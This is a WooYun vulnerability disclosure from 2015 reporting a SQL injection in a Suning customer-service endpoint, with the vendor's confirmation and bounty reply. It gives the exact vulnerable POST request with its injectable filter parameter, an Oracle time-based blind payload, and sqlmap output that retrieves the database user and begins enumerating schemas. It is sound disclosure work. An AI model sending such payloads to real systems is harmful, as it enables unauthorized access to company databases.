当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0127771

漏洞标题:苏宁易购某站SQL注入

相关厂商:江苏苏宁易购电子商务有限公司

漏洞作者: 大胖子

提交时间:2015-07-20 09:29

修复时间:2015-09-03 09:38

公开时间:2015-09-03 09:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-20: 细节已通知厂商并且等待厂商处理中
2015-07-20: 厂商已经确认,细节仅向厂商公开
2015-07-30: 细节向核心白帽子及相关领域专家公开
2015-08-09: 细节向普通白帽子公开
2015-08-19: 细节向实习白帽子公开
2015-09-03: 细节向公众公开

简要描述:

小胖子,你!

详细说明:

苏宁客服系统

POST http://online.suning.com/console/Service/commissionGoods/pageCommissionGoods HTTP/1.1
Host: online.suning.com
companyId=1&filterParams=+1+%3D+1++and+creator+like+'%251%25'++and+category+like+'%251%25'++and+brand+like+'%251%25'++and+code+like+'%251%25'+&page=1&rows=20&sort=id&order=asc

漏洞证明:

s2.png

POST parameter 'filterParams' is vulnerable. Do you want to keep testing the oth
ers (if any)? [y/N] n
sqlmap identified the following injection points with a total of 325 HTTP(s) req
uests:
---
Parameter: filterParams (POST)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: companyId=1&filterParams= 1 = 1 and creator like '%1%' and catego
ry like '%1%' and brand like '%1%' and code like '%1%' AND 1608=(SELECT COUNT
(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)&page=
1&rows=20&sort=id&order=asc
---
[23:08:48] [WARNING] changes made by tampering scripts are not included in shown
payload content(s)
[23:08:48] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[23:08:48] [INFO] fetching current user
[23:08:48] [INFO] retrieved:
[23:08:48] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
SU
[23:13:12] [ERROR] invalid character detected. retrying..
[23:13:12] [WARNING] increasing time delay to 6 seconds
NING
current user: 'SUNING'
[23:19:54] [INFO] fetching current database
[23:19:54] [INFO] resumed: SUNING
[23:19:54] [WARNING] on Oracle you'll need to use schema names for enumeration a
s the counterpart to database names on other DBMSes
current schema (equivalent to database on Oracle): 'SUNING'
[23:19:54] [INFO] testing if current user is DBA
current user is DBA: False
[23:19:54] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[23:19:54] [INFO] fetching database (schema) names
[23:19:54] [INFO] fetching number of databases
[23:19:54] [INFO] retrieved: 9
[23:21:31] [INFO] retrieved: A


修复方案:

版权声明:转载请注明来源 大胖子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-07-20 09:37

厂商回复:

感谢提交,单个漏洞按照较低金额计算。

最新状态:

暂无